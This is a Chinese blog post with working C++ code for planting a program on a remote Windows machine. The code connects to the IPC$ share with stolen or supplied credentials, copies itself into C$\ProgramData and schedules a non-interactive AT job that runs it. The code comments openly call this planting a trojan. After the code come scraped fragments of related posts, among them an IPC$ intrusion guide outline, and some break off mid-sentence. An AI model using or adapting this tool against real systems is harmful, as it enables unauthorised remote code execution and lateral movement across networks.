实现:ipc管道连接到远程计划任务种马

#pragma comment(lib, "mpr.lib")
#pragma comment(lib,"Netapi32.lib")
#include <windows.h>
#include <lm.h>
#include <tchar.h>
#include <stdio.h>
#include <Winnetwk.h>
#include <string>
#include <lmat.h>

//using namespace std;
void GetError(DWORD ret) {
    wchar_t * pMsgBuf;
    FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS
        , NULL, ret, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&pMsgBuf, 0, NULL);
    wprintf(L"WNetAddConnection2 failed with error: %u, %s \n", ret, pMsgBuf);
    LocalFree(pMsgBuf);
}

int wmain(int argc, wchar_t * argv[]) {
    /*
    DWORD WNetAddConnection2W(
        LPNETRESOURCEW lpNetResource,
        LPCWSTR        lpPassword,
        LPCWSTR        lpUserName,
        DWORD          dwFlags
    );

    */

    DWORD dwRetVal;
    std::wstring MyRemoteName;
    NETRESOURCE nr;
    DWORD dwFlags;

    MyRemoteName.append(L"\\\\");

    if (argc != 5 && argc != 4) {
        wprintf(L"Usage: %s <localname> <remotename> <username> <password>\n",argv[0]);
        wprintf(L"Usage: %s <remotename> <username> <password>\n",argv[0]);
        exit(1);
    }

    if (argc == 5) {
        MyRemoteName.append(argv[2]);
        wprintf(L"Calling WNetAddConnection2 with\n");
        wprintf(L"  lpLocalName = %s\n", argv[1]);
        wprintf(L"  lpRemoteName = %s\n", MyRemoteName.c_str());
        wprintf(L"  lpUsername = %s\n", argv[3]);
        wprintf(L"  lpPassword = %s\n", argv[4]);

        memset(&nr, 0, sizeof(NETRESOURCE));

        nr.dwType = RESOURCETYPE_ANY;
        nr.lpLocalName = argv[1];
        nr.lpRemoteName = (LPWSTR)MyRemoteName.c_str();
        nr.lpProvider = NULL;

        dwFlags = CONNECT_TEMPORARY;  //连接类型 是否可持续
        dwRetVal = WNetAddConnection2(&nr, argv[4], argv[3], dwFlags);
        if (dwRetVal == NO_ERROR) {
            wprintf(L"Connection added to %s\n", nr.lpRemoteName);
        }
        else {
            GetError(dwRetVal);
        }
    }
    else if (argc == 4) {
        MyRemoteName.append(argv[1]);
        wprintf(L"Calling WNetAddConnection2 with\n");
        wprintf(L"lpRemoteName = %s\n", (LPWSTR)MyRemoteName.c_str());
        wprintf(L"lpUsername = %s\n", argv[2]);
        wprintf(L"lpPassword = %s\n", argv[3]);

        //结构体初始化
        memset(&nr, 0, sizeof(NETRESOURCE));

        //结构体的补充,这四个必须填写
        nr.dwType = RESOURCETYPE_ANY;
        nr.lpLocalName = NULL; //本地映射磁盘
        nr.lpRemoteName = (LPWSTR)MyRemoteName.c_str(); // 远程访问的资源
        nr.lpProvider = NULL;

        dwFlags = CONNECT_TEMPORARY; //连接类型 是否可持续
        dwRetVal = WNetAddConnection2(&nr,argv[3], argv[2], dwFlags);
        if (dwRetVal == NO_ERROR){
            //IPC管道成功连接
            wprintf(L"Connection added to %s\n", nr.lpRemoteName);

            //RemoteFilePath字符串用来拼接路径
            std::wstring RemoteFilePath;

            RemoteFilePath = MyRemoteName.append(L"\\c$\\ProgramData\\mytask.exe"); // \\192.168.1.152\c$ProgramData\mytask.exe
            //复制文件到对方的机器的指定目录中
            wchar_t LocalModuleEXE[MAX_PATH];
            GetModuleFileName(NULL, LocalModuleEXE, MAX_PATH); //得到当前执行文件的文件名称 (包含路径)  之后可以改为远程下载的指定exe程序等....
            if (CopyFile(LocalModuleEXE, RemoteFilePath.c_str(), FALSE) != 0) { //复制文件 若存在则覆盖
                //获取远程服务器的当前时间
                wprintf(L"copyfile successful\n");

                //初始化结构体
                LPTIME_OF_DAY_INFO ti = NULL;
                std::wstring MyRemoteServerName;

                //MyRemoteServerName字符串用来作为 \\ip 这样的形式进行调用
                MyRemoteServerName.append(L"\\\\");
                MyRemoteServerName.append(argv[1]);

                if (NetRemoteTOD(MyRemoteServerName.c_str(), (LPBYTE *)&ti) == NERR_Success) {
                    wprintf(L"Get remote time successful\n");
                    //拼接字符串进行计划任务的添加

                    //DWORD day = 1;
                    wchar_t command[] = L"c:\\ProgramData\\mytask.exe";
                    AT_INFO at; //结构体的设置
                    at.DaysOfWeek = 0;
                    at.DaysOfMonth = 0;
                    at.Flags = JOB_NONINTERACTIVE; //非交互式运行程序
                    at.JobTime = ((ti->tod_hours + (-ti->tod_timezone) / 60) % 24) * 60 * 60 * 1000 + (ti->tod_mins + 1) * 60 * 1000;
                    at.Command = command; //需要执行的命令内容

                    DWORD id;
                    if(NetScheduleJobAdd(MyRemoteServerName.c_str(),(LPBYTE)&at,&id) == NERR_Success){
                        wprintf(L"Job add successful\n");
                    }
                    else {
                        wprintf(L"Job add failed\n");
                    }
                }
                else {
                    wprintf(L"Get remote time failed\n");
                }
            }
            else {
                wprintf(L"copyfile failed\n");
            }
        }
        else {
            GetError(dwRetVal);
        }
    }

    return 0;
}

参考文章:https://blog.csdn.net/weixin_34408624/article/details/86248485

原文地址:https://www.cnblogs.com/zpchcbd/p/12194570.html

时间: 2024-11-12 18:30:54

实现:ipc管道连接到远程计划任务种马的相关文章

实现:ipc$命名管道连接

#include <windows.h> #include <WinNetWk.h> #include <iostream> #pragma comment(lib, "Mpr.lib") using namespace std; int wmain(int argc,wchar_t * argv[]) { /* DWORD WNetAddConnection2W( LPNETRESOURCEW lpNetResource, LPCWSTR lpPa

IPC$空连接(转载)

ipc$空连接使用 目录 : 一 前言 二 什么是ipc$ 三 什么是空会话 四 空会话可以做什么 五 ipc$连接所使用的端口 六 ipc$连接在hack攻击中的意义 七 ipc$连接失败的常见原因 八 复制文件失败的原因 九 如何打开目标的IPC$共享以及其他共享 十 一些需要shell才能完成的命令 十一 入侵中可能会用到的相关命令 十二 ipc$完整入侵步骤祥解 十三 如何防范ipc$入侵 十四 ipc$入侵问答精选 十五 结束的话 一 前言 网上关于ipc$入侵的文章可谓多如牛毛,而且

进程-IPC 管道 (一)

详见:https://github.com/ZhangzheBJUT/linux/blob/master/IPC(%E4%B8%80).md 一 IPC 概述 进程间通信就是在不同进程之间传播或交换信息,那么不同进程之间存在着什么两方都能够訪问的介质呢?进程的用户空间是互相独立的,一般而言是不能互相訪问的,唯一的例外是共享内存区.系统空间是"公共场所".所以内核显然能够提供这种条件,例如以下图所看到的. 除此以外,那就是两方都能够訪问的外设了.两个进程能够通过磁盘上的普通文件交换信息.

linux-Navicat连接linux远程数据

linux-Navicat连接linux远程数据 (一)登陆数据库 (二)创建用户用于远程连接 GRANT ALL PRIVILEGES ON *.* TO '账号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION; 执行 flush privileges;命令立即生效 (三)远程连接

VNC轻松连接Linux远程桌面

VNC连接Linux桌面,要想连接Linux远程桌面,按照下面的步骤,非常简单.快速,Linux配置VNC(以RedHat.CentOS.Fedora系列为例). Linux平台安装VNCServer Windows平台使用VNC-Viewer 方法/步骤 1.在Linux平台安装VNCServer服务端软件包. #yum -y install vnc *vnc-server* 2.修改VNCServer主配置文件 #vim /etc/sysconfig/vncservers 复制最后两行并去掉

window用Xmanager4.0的Xstart连接linux远程桌面

安装包: xorg-x11-xauth xterm.x86_64 0:253-1.el6 Execute command path:/usr/bin/xterm Xstart连接Linux远程桌面有一个好处,服务器端不用做什么设置,开启SSH即可. 服务器要有桌面环境,和X Window 用XDMCP连接,服务器端得做一些配置,麻烦. 菜单 Xmanager Enterprise 4 -- Xbrowser 新建一个Xstart会话 协议选ssh, 执行命令 点击后面的按钮选GNOME 建好后打

NuGet 无法连接到远程服务器-解决方法

一. Entity Framework以下简称EF 安装EF4.3的步骤是首先安装VS扩展 NuGet,然后再使用NuGet安装EF程序包 安装完NuGet就可以安装EF了,有两种方式可以安装EF: 1.使用命令 install-package EntityFramework -Pre 但出现如下错误: 2.使用可视化工具,菜单栏>>工具>>程序包管理器>>管理解决方案的程序包 同样出现如下错误 出现该错误的原因是因为安装NuGet扩展后默认只有一个程序包源而我们需要用

win7/win10-远程桌面 &quot;由于安全设置错误, 客户端无法连接到远程计算机”

win7或win10 更新补丁后,远程桌面连接报错: "由于安全设置错误, 客户端无法连接到远程计算机. 确定你已登录到网络后." 解决方法如下: Step 1:打开"本地安全策略"- Win+R 并输入 secpol.msc (或者在"管理工具"中打开): Step 2:在本地安全策略中,打开"本地策略"下的"安全选项": 在右边的策略中,找到"系统加密:将FIPS算法用于加密 .哈希和签名&q

Akka(22): Stream:实时操控:动态管道连接-MergeHub,BroadcastHub and PartitionHub

在现实中我们会经常遇到这样的场景:有一个固定的数据源Source,我们希望按照程序运行状态来接驳任意数量的下游接收方subscriber.又或者我需要在程序运行时(runtime)把多个数据流向某个固定的数据流终端Sink推送.这就涉及到动态连接合并型Merge或扩散型Broadcast的数据流连接点junction.从akka-stream的技术文档得知:一对多,多对一或多对多类型的复杂数据流组件必须用GraphDSL来设计,产生Graph类型结果.前面我们提到过:Graph就是一种运算预案,